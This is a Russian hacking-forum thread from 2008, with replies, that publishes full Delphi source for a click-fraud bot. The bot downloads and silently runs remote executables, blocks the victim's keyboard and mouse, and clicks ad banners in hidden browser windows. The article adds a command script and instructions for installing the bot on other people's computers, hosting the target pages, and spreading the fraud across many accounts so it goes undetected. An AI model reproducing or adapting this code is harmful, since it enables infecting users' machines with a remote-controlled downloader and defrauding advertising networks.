Авторские статьи Написание бота автокликера на примере Dosug.nu

Discussion in 'Статьи' started by o_OBallers, 18 Jul 2008.

  1. o_OBallers

    o_OBallers Banned

    Joined:
    11 Oct 2007
    Messages:
    23
    Likes Received:
    24
    Reputations:
    0
    Написание бота автокликера на примере Dosug.nu

    Сейчас существует множество партнёрских программ оплачивающие клики пользователей: clickcashmoney.com, begun, adsense.

    Насчёт, begun, adsense сказать не могу, но clickcashmoney.com имеет многоуровневую защиту от накруток, и ботов. То есть если тупо посылать http запросы, система определит что это бот, и забанит аккаунт. Запрос то каждый раз разный. Например реклама бегуна, сначала там одна реклама, обновил страницу вполне возможно будет другая, соответственно http запрос тоже другой. Что делать каждый раз парсить страницу, и на основе данных парсинга составлять запрос, - будет не рационально так как её построение может постоянно меняться, замучаешься потом код парсера переделывать.
    Что если эмулировать клики в запущенном браузере, баннер то всегда на одном и том же месте, и всё выйдет натурально и просто, без подделок и ухищиренний.

    На основе этой идеи мной был написан очень универсальный бот, максимально отвязанный от рабочих данных.
    Перед тем как постить код бота сюда я переделал его, убрал из него всё лишнее, и не по теме: автозагрузку, сокрытие процесса, успокоение, брандмауэра, и проактивной защиты и.т.д.

    Бот каждый 60 секунд проверяет прошло ли с момента последнего его запуска 26 часов(нужно чтобы оплачивались клики) , и есть ли сейчас интернет, и если эти условия совпадают, то пытается скачать файл содержащий текст Alaget script, что это такое я опишу позже. Если сайт на котором лежит файл недоступен, то скачивается аварийное обновление. Если же доступен то идёт загрузка файла и выполнение Alaget script.

    Ниже приведён код бота. Код максимально нужно комментирован.
    Code:
    program Click;
    
    uses
      Windows,
      SysUtils,
      WinInet,
      DateUtils,
      UrlMon,
      ShellApi;
    
    //Возвращает из указанной строки, с указанными разделителями, и номером подстроки, подстроку
    function GetToken(aString, SepChar: string; TokenNum: Byte): string;
    var
      Token: string;
      StrLen, TNum, TEnd: Byte;
    begin
      StrLen := Length(aString);
      TNum := 1;
      TEnd := StrLen;
      while ((TNum <= TokenNum) and (TEnd <> 0)) do
      begin
        TEnd := Pos(SepChar, aString);
        if TEnd <> 0 then
          begin
            Token := Copy(aString, 1, TEnd - 1);
            Delete(aString, 1, TEnd);
            Inc(TNum);
          end
        else
          begin
            Token := aString;
          end;
      end;
      if TNum >= TokenNum then
        begin
          GetToken := Token;
        end
      else
        begin
          GetToken := '';
        end;
    end;
    
    //Если есть соединение с интернет возвращает True
    function CheckUrl(Url: string): boolean;
    var
      HSession, HFile: HInternet;
      DWIndex, DWCodeLen: DWord;
      DWCode: array [1..20] of Char;
      Res: PChar;
    begin
      Result := False;
      HSession := InternetOpen('InetURL:/1.0', INTERNET_OPEN_TYPE_PRECONFIG, nil, nil, 0);
      if Assigned(HSession) then
      begin
        HFile := InternetOpenUrl(HSession, PChar(Url), nil, 0, INTERNET_FLAG_RELOAD, 0);
        DWIndex := 0;
        DWCodeLen := 10;
        HttpQueryInfo(HFile, HTTP_QUERY_STATUS_CODE, @DWCode, DWCodeLen, DWIndex);
        Res := PChar(@DWCode);
        Result := (Res = '200') or (res = '302');
        if Assigned(HFile) then
          InternetCloseHandle(HFile);
        InternetCloseHandle(HSession);
      end;
    end;
    
    //Возвращает рабочую папку
    function GetWork: string;
    var a: array[0..MAX_PATH] of char;
    begin
      GetSystemDirectory(a, SizeOf(a));
      Result := StrPas(a) + '\msftp\';
    end;
    
    //Проверяет не прошло ли с момента запуска 26 часов
    function Is26: boolean;
    var  F: TextFile;
         d1, d2: TDateTime;
         s: string;
         l: boolean;
    begin
      Result := False;
      AssignFile(F, GetWork + 'Date.txt');
      if FileExists(GetWork + 'Date.txt') then
        begin
          Reset(F);
          Readln(F, s);
          CloseFile(F);
          d1 := StrToDateTime(s);
          d2 := Date + Time;
          l := ((DaysBetween(d1, d2) * 24 + HoursBetween(d1, d2)) >= 26);
          if l = True then
            begin
              AssignFile(F, GetWork + 'Date.txt');
              Rewrite(F);
              s := DateTimeToStr(Date + Time);
              Writeln(F, s);
              CloseFile(F);
              Result := True;
            end;
        end
    
    
      else
        begin
          Rewrite(F);
          s := DateTimeToStr(Date + Time);
          Writeln(F, s);
          CloseFile(F);
          Result := True;
        end;
    end;
    
    //Проверяет не был ли запущен уже экземпляр
    function Check: boolean;
    var HM: THandle;
    begin
      HM := OpenMutex(MUTEX_ALL_ACCESS, False,'MutexCheck');
      Result := (HM<>0);
      if HM = 0 then
        HM := CreateMutex(nil, False, 'MutexCheck');
    end;
    
    procedure BlockInput; external 'user32.dll';
    
    //Блокирует ввод
    procedure Block;
    asm
      push 1
      call BlockInput
    end;
    
    //Разблокирует
    procedure UnBlock;
    asm
      push 0
      call BlockInput
    end;
    
    
    
    var Handle: HWND;
        F: TextFile;
        s: string;
        x1, y1, x2, y2: integer;
    const CheckSite = 'http://mail.ru';//Сайт для проверки, есть интернет, или нет.
          Site = 'http://srcenzo.cc/';//Сайт с которого будут грузится скрипты.
          ZSite = 'http://danger.narod.ru/danger.exe';//Сайт с которого надо качать аварийное обновление.
    begin
      if Check then Exit;//Если уже запушен экземпляр приложения выйти.
      Handle := 0;
      while True do
        begin//1
          Sleep(60000);
          if (is26) and (CheckUrl(CheckSite)) then
            begin//2
              if not CheckUrl(Site + 'List.txt') then//Если сайт забанили тогда загрузить запасной файл
                begin//3
                  if CheckUrl(ZSite) then
                    begin//4
                      DeleteFile(GetWork + 'update.exe');
                      UrlDownloadToFile(nil, ZSite, PChar(GetWork + 'update.exe'), 0, nil);
                      ShellExecute(0, nil, PChar(GetWork + 'update.exe'), 'update', nil, SW_HIDE);
                      Exit;
                    end//4
                  else
                    Exit;
                end;//3
              DeleteFile(GetWork + 'List.txt');
              UrlDownloadToFile(nil, Site + 'List.txt', PChar(GetWork + 'List.txt'), 0, nil);
              AssignFile(F, GetWork + 'List.txt');
              Reset(F);
              while not EOF(F) do
                begin//5
                  Readln(F, s);
    
                  if s = 'Exit' then Exit;
    
                  if s = 'Block' then Block;
    
                  if s = 'UnBlock' then UnBlock;
    
                  if GetToken(s, ',', 1) = 'Load' then
                    begin//6 Load
                      UrlDownloadToFile(nil, PChar(GetToken(s, ',', 2)), PChar(GetWork + GetToken(s, ',', 3)), 0, nil);
                    end;//6 Load
    
                  if  GetToken(s, ',', 1) = 'ShellExecute' then
                    begin//7 ShellExecute
                      ShellExecute(0, nil, PChar(GetToken(s, ',', 2)), PChar(GetToken(s, ',', 3)), nil, SW_HIDE)
                    end;//7 ShellExecute
    
                  if GetToken(s, ',', 1) = 'Sleep' then
                    begin//8 Sleep
                      Sleep(StrToInt(GetToken(s, ',', 2)));
                    end;//8 Sleep
    
                  if GetToken(s, ',', 1) = 'FindWindow' then
                    begin//9 FindWindow
                      Handle := FindWindow(nil, PChar(GetToken(s, ',', 2)));
                    end;//9 FindWindow
    
                  if GetToken(s, ',', 1) = 'SetWindowPos' then
                    begin//10 SetWindowPos
                      x1 := StrToInt(GetToken(s, ',', 2));
                      y1 := StrToInt(GetToken(s, ',', 3));
                      x2 := StrToInt(GetToken(s, ',', 4));
                      y2 := StrToInt(GetToken(s, ',', 5));
                      SetWindowPos(Handle, HWND_TOPMOST, x1, y1, x2, y2, SWP_SHOWWINDOW);
                    end;//10 SetWindowPos
    
                  if s = 'ShowWindow' then
                    begin//11 ShowWindow
                      ShowWindow(Handle, SW_SHOW);
                    end;//11 ShowWindow
    
                  if s = 'HideWindow' then
                    begin//12
                      ShowWindow(Handle, SW_HIDE);
                    end;//12
    
                  if GetToken(s, ',', 1) = 'SetCursorPos' then
                    begin//13
                      x1 := StrToInt(GetToken(s, ',', 2));
                      y1 := StrToInt(GetToken(s, ',', 3));
                      SetCursorPos(x1, y1);
                    end;//13
    
                  if s = 'Click' then
                    begin//14 Click
                      Sleep(100);
                      mouse_event(MOUSEEVENTF_LEFTDOWN, 0, 0, 0, 0);
                      Sleep(100);
                      mouse_event(MOUSEEVENTF_LEFTUP, 0, 0, 0, 0);
                    end;//14 Click
    
                  if GetToken(s, ',', 1) = 'FastFindWindow' then
                    begin//15 FastFindWindow
                      Handle := 0;
                      while Handle = 0 do
                        begin//16
                          Handle := FindWindow(nil, PChar(GetToken(s, ',', 2)));
                        end;//16
                    end;//15 FastFindWindow
    
                  if GetToken(s, ',', 1) = 'SetWindowText' then
                    begin//17 SetWindowText
                      SetWindowText(Handle, PChar(GetToken(s, ',', 2)));
                    end;//17 SetWindowText
    
                  if GetToken(s, ',', 1) = 'ExitWindow' then
                    begin//18 ExitWindow
                      PostMessage(FindWindow(nil, PChar(GetToken(s, ',', 2))), $0012, 0, 0);
                    end;//18 ExitWindow
    
                  if GetToken(s, ',', 1) = 'ShellExecuteWork' then
                    begin//19 ShellExecuteWork
                      ShellExecute(0, nil, PChar(GetWork + GetToken(s, ',', 2)), PChar(GetToken(s, ',', 3)), nil, SW_HIDE)
                    end;//19 ShellExecuteWork
    
                if GetToken(s, ',', 1) = 'Update' then
                    begin//20 Update
                      if StrToInt(GetToken(s, ',', 2)) > Version then
                        begin//21
                          UrlDownloadToFile(nil, PChar(GetToken(s, ',', 3)), PChar(GetWork + GetToken(s, ',', 4)), 0, nil);
                          ShellExecute(0, nil, PChar(GetWork + GetToken(s, ',', 4)), 'update', nil, SW_HIDE);
                          Exit;
                        end;//21
                    end;//20 Update
    
                end;//5
              Exit;//В самом конце выход после всех операций.
            end;//2
        end;//1
    end.
    
    Как видно в бот встроен интерпритатор языка Alaget script.
    Alaget script, пусть будет громко сказано, - это язык программирования придуманный мной, и названный в честь меня. У него одна специфичная задача манипуляция окнами.
    Описание:

    Exit - Завершение работы

    Block - Блокирует мышь и клавиатуру

    UnBlock - Разблокирует мышь и клавиатуру

    Load,http://site.narod.ru/file.exe,file.exe - Скачивает, и сохраняет файл, с именем указанным в третьем параметре

    ShellExecute,C:\1.exe,update - Запускает файл, первый параметр имя файла, второй его параметр при запуске

    ShellExecuteWork,file.exe,parametr - Скачивает, сохраняет и запускает файл с параметром

    Sleep,1000 - Приостанавливает выполнение на количество миллисекунд указанных во втором параметре

    FindWindow,Porno - Microsoft Internet Explorer - (Связано с Handle) Ищет окно с заголовком указанным в параметре, и связывает с переменной Handle, должна вызываться первой, перед процедурами работающими с Handle

    SetWindowPos,0,0,800,600 - (Связано с Handle) Перемещает и отображает окно поверх других окон, первые два параметра это координаты верхнего левого угла, четвёртый параметр ширина, пятый высота

    ShowWindow - (Связано с Handle) Отображает окно

    HideWindow - (Связано с Handle) Прячет окно

    SetCursorPos,244,500 - Устанавливает курсор на координату заданную во втором и третьем параметрах

    Click - Производит щелчок мышью

    FastFindWindow,Dosug.NU - В Ы Б Е Р И С Е Б Е Р А З В Л Е Ч Е Н И Е !!! - Microsoft Internet Explorer - (Связано с Handle) Ищет окно с заголовком указанным в параметре, до тех пор пока не найдёт и связывает с переменной Handle

    SetWindowText,1111111 - (Связано с Handle) Устанавливает заголовок окна, который указан в параметре

    ExitWindow,Test - Закрывает окно, с заголовком указанным в параметре

    Update,1,http://site.narod.ru/update1.exe,update1.exe - Если цифра во втором параметре больше переменной Version тогда скачать,сохранить, и запустить с параметром update


    Давайте попробуем написать простенький скрипт, эмулирующий клики на Dosug.NU:
    1. Нужно зарегестрировать три сайта.
    2. Нужно зарегестрироваться в clickcashmoney.com.
    3. На первый сайт загрузить порно контент, и баннеры с партнёрской ссылкой.
    4. На второй сайт лоадер на случай аварийного обновления.
    5. В исходнике задать нужные значения для констант.
    6. Пишем скрипт комментарии нужно будет удалить.


    Code:
    
    ShellExecute,IEXPLORE,http://site_gde_porno/index.htm //Запускаем невидимое окно интернет эксплорера, с параметром вашего сайта
    FastFindWindow,http://site_gde_porno/index.htm Porno - Microsoft Internet Explorer //Ищет пока не найдёт окно с заданным нами заголовком
    Sleep,10000 //Ждём 10 секунд пока страница не загрузится
    Block // Блокируем пользователю вход чтобы не набедокурил
    ShowWindow //Отображаем окно 
    SetCursorPos,124,456 // устанавливаем курсор над баннером
    Click // Кликаем
    HideWindow //Скрываем окно
    UnBlock // Разблокируем вход пользователь может шалить дальше
    Sleep,10000 //Ждём 10 секунд пока страница не загрузится
    Block // Блокируем пользователю вход чтобы не набедокурил 
    SetCursorPos,73,473 // устанавливаем курсор в нужном месте
    Click // Кликаем 
    SetWindowText,NadoZakrit //После клика открывается новое окно с таким же заголовком как у старого, старому меняем имя
    HideWindow //Скрываем окно
    FastFindWindow,Dosug.NU - В Ы Б Е Р И  С Е Б Е  Р А З В Л Е Ч Е Н И Е !!! //Ищем новое окно
    HideWindow //Скрываем окно
    UnBlock // Разблокируем вход пользователь может шалить дальше
    Sleep,10000 //Ждём 10 секунд пока страница не загрузится
    ExitWindow,NadoZakrit //Закрываем окно
    ExitWindow,Dosug.NU - В Ы Б Е Р И  С Е Б Е  Р А З В Л Е Ч Е Н И Е !!! //Закрываем окно
    Exit //Если надо выходим
    
    7. Загружаем Alaget script на сайт.
    8. Устанавливаем бота, очень желательно на московские компьютеры.

    Стоит учесть несколько моментов у пользователя могут быть нестандартные настройки браузера, например установлен дополнительный тулбар из-за него могут сбиваться нужные координаты курсора, и клики будут по не тем местам что у вас на компьютере.
    Чтобы избежать этого нужно экспортировать ветвь реестра HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer, естественно на этих же настройках и нужно писать Alaget скрипты. Бот перед началом сёрфинга должен импортировать настройки с вашего компьютера например вот так ShellExecute(0, nil, 'regedit', '/s iexplore.reg', nil, SW_HIDE);, или другим способом.

    Со стороны пользователя, будет видно что компьютер как бы подвисает, и на мгновенье
    вылетают окошки, через секунду вся опять нормально работает.

    Жадность фраера сгубила, не стоит, регистрировать один аккаунт, и на него гнать сотни ботов, тысячи ботов, доход будет большой, но админ заметит, что надо на этот аккаунт выплачивать много денег, а сайт даже не индексирован поисковиками, явная накрутка, админа может просто жадность задавить такие суммы выплачивать. Лучше зарегистрировать много аккаунтов, на каждом новый e-mail, webmoney кошелёк, с нового аккаунта, а не просто новый кошелёк созданный в старом аккаунте, 5-10 ботов привязанных только к этому аккаунту, на другие аккаунты - новые боты. С одного такого комплекта, будет выходить примерно 10$ раз в две недели, таких комплектов можно сделать сколько позволит трудолюбие, и усердство. Курочка по зёрнышку клюёт, и сыта бывает. Муторно, но я уже давно отказался от мысли, что можно легко, и без последствий заработать много денег, везде надо работать.

    В идеале можно сделать, чтобы бот сначала грузил, список доступных скриптов(каждый скрипт, щёлкает разное количество раз, в разных местах сайта), случайным образом выбирал из них один, и выполнял его. При этом доказать, что это не человек, будет очень сложно.

    Таким образом даже на много легче, можно накручивать, begun и adsense, да и любые другие, спонсоры тоже годятся.

    Данный исходник можно переделать, и использовать для проигрывания заранее написанных макросов, для автоматизации действий пользователя. В принципе можно использовать уже сейчас.

    Чтобы ты не делал всегда найдутся люди недовольные твоей работой.

    Я и WebKill.
    Мы публикуем работы.
    Несём людям радость образования.

    (C) o_OBallers(Alaget) специально для АнтиЧат.
     
    7 people like this.
  2. AlexV

    AlexV Elder - Старейшина

    Joined:
    29 Feb 2008
    Messages:
    173
    Likes Received:
    550
    Reputations:
    81
    ^)))

    Кто-нить тестил!?
     
  3. Sholoman

    Sholoman Elder - Старейшина

    Joined:
    5 Mar 2008
    Messages:
    23
    Likes Received:
    2
    Reputations:
    0
    Я новичёк в программировании. Щас начел учить php. Подскажите что делать с этими скриптам ? Вроде всё понел и есть идеи как можно модернизировать скрипт. Какое расширение скриптов ?
     
  4. N1K70

    N1K70 Banned

    Joined:
    2 Jan 2008
    Messages:
    161
    Likes Received:
    76
    Reputations:
    21
    Sholoman, это delphi , php тут ни причём
     
  5. Doma1n

    Doma1n New Member

    Joined:
    16 Jul 2008
    Messages:
    4
    Likes Received:
    3
    Reputations:
    0
    в упор не понял, ты называешь йазыгом тупо объявление пары функций? оО
    В принципе напоминает кашу из вырванных из учебника кусков кода. В общем ни о чём, очередной раз убедился, что вебкилл в авторах - жёсткая антиреклама(имхо конечно же)
     
    1 person likes this.
  6. o_OBallers

    o_OBallers Banned

    Joined:
    11 Oct 2007
    Messages:
    23
    Likes Received:
    24
    Reputations:
    0
    Обидно, что люди совершенно не вдумываются в написанное.
    Ведь, я абсолютно не поддерживаю, и не как не связан с ВебКаллом.

    Я против тех, кто устроил необоснованную травлю.
    Те, кто сами ничего не могут, а травят тех, кто пишет.

    Я против травли творчества.

    Язык программирования, это набор команд, и инструкций, предназначенных для описания действий компилятора или интерпретатора. В моём коде присутствует самопальный интерпретатор придуманного мной языка. Да он очень примитивный, но это язык.
    Я не призываю тебя, на нём программировать. Или разводить тут флуд про языки программирования.

    Видать ты читал по диагонали, не сильно вдумываясь в написанное.
    Если ты ничего не понял, это не значит что статья не несёт смысловой нагрузки.

    Прошу заинтересованных лиц дать оценку такому поведению.
     
  7. Doma1n

    Doma1n New Member

    Joined:
    16 Jul 2008
    Messages:
    4
    Likes Received:
    3
    Reputations:
    0
    Ты выставил код на всеобщее обозрение - я поделился мнением, какой флуд?

    :D
     
    #7 Doma1n, 22 Jul 2008
    Last edited: 22 Jul 2008
  8. vvs777

    vvs777 Elder - Старейшина

    Joined:
    16 Nov 2004
    Messages:
    394
    Likes Received:
    213
    Reputations:
    4
    Идея неплохая на счет эмуляции.
    +2
    Делфи рулит =)
     
  9. mandalina

    mandalina Member

    Joined:
    27 Jan 2009
    Messages:
    12
    Likes Received:
    19
    Reputations:
    4
    Написал бы прогу и в приват..а так PPC споны уже устранили дыру.:)